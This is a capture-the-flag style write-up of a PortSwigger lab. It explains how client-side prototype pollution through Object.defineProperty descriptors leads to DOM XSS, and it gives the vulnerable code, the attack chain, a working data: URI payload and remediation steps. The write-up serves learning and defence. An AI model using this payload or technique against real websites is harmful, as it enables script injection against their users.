Client-Side Prototype Pollution via Browser APIs
Overview
Lab: Client-side prototype pollution via browser APIs Platform: PortSwigger Web Security Academy Vulnerability: Client-side Prototype Pollution -> DOM XSS Difficulty: Practitioner
Vulnerability Analysis
The Pollution Source
The application uses a vulnerable deparam function to parse URL query parameters:
var deparam = function( params, coerce ) {
var obj = {},
// ...
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
// ...
};
When key is __proto__, cur[key] returns Object.prototype, and subsequent iterations pollute it.
The Gadget (with Defense)
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
// ...
}
Initial observation: config.transport_url is set to false as an own property, which should shadow any prototype pollution.
The defense: Object.defineProperty makes the property non-writable.
The Bypass - Browser API Exploitation
Why Standard Pollution Fails
Polluting Object.prototype.transport_url doesn’t work because:
confighastransport_url: falseas an own property- Own properties take precedence over prototype properties
if(config.transport_url)returnsfalse
The Key Insight
Look at the Object.defineProperty call:
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
The property descriptor object {configurable: false, writable: false} is missing several properties:
valueenumerablegetset
Critical realization: The descriptor object is a plain JavaScript object. If it doesn’t have an own value property, it will inherit from Object.prototype!
The Attack Chain
- User visits URL with
?__proto__[value]=data:,alert(document.domain) deparamparses the query string and pollutesObject.prototype.valueconfig = {..., transport_url: false}creates object with own property set tofalseObject.defineProperty(config, 'transport_url', {configurable: false, writable: false})executes- The descriptor
{configurable: false, writable: false}has no ownvalueproperty - JavaScript looks up prototype chain -> finds
Object.prototype.value = "data:,alert(document.domain)" Object.definePropertyoverwritesconfig.transport_urlwith the polluted valueif(config.transport_url)is now truthyscript.src = "data:,alert(document.domain)"-> XSS!
Solution
Payload
?__proto__[value]=data:,alert(document.domain)
Why data: URI?
The injection point is <script src="...">. Unlike javascript: URIs (which work for <a href> or <iframe src>), script src attributes require a URL that serves JavaScript content.
The data: URI scheme embeds content directly:
data:[mediatype],content
data:,alert(1)- Minimal form (comma separates metadata from content)data:text/javascript,alert(1)- With explicit MIME type
Key Takeaways
- Browser APIs can be pollution gadgets:
Object.definePropertyreads from a descriptor object that can inherit polluted properties - Defense code can become the vulnerability: The
Object.definePropertycall intended as defense actually enables the attack by reading the pollutedvalueproperty - Own properties aren’t always safe: Even when an own property exists, browser APIs that read from other objects (like descriptors) can still be exploited
- Property descriptor pollution: Any code using
Object.definePropertywith incomplete descriptors is potentially vulnerable if prototype pollution exists
Remediation
-
Sanitize prototype pollution sources: Filter
__proto__,constructor, andprototypefrom user input - Use
Object.create(null)for descriptors: Creates objects without prototype inheritanceconst descriptor = Object.create(null); descriptor.configurable = false; descriptor.writable = false; Object.defineProperty(config, 'transport_url', descriptor); - Explicitly set all descriptor properties: Always include
value(orget/set) in property descriptorsObject.defineProperty(config, 'transport_url', { value: false, // Explicit! configurable: false, writable: false }); - Freeze
Object.prototype: Prevents pollution but may break third-party codeObject.freeze(Object.prototype);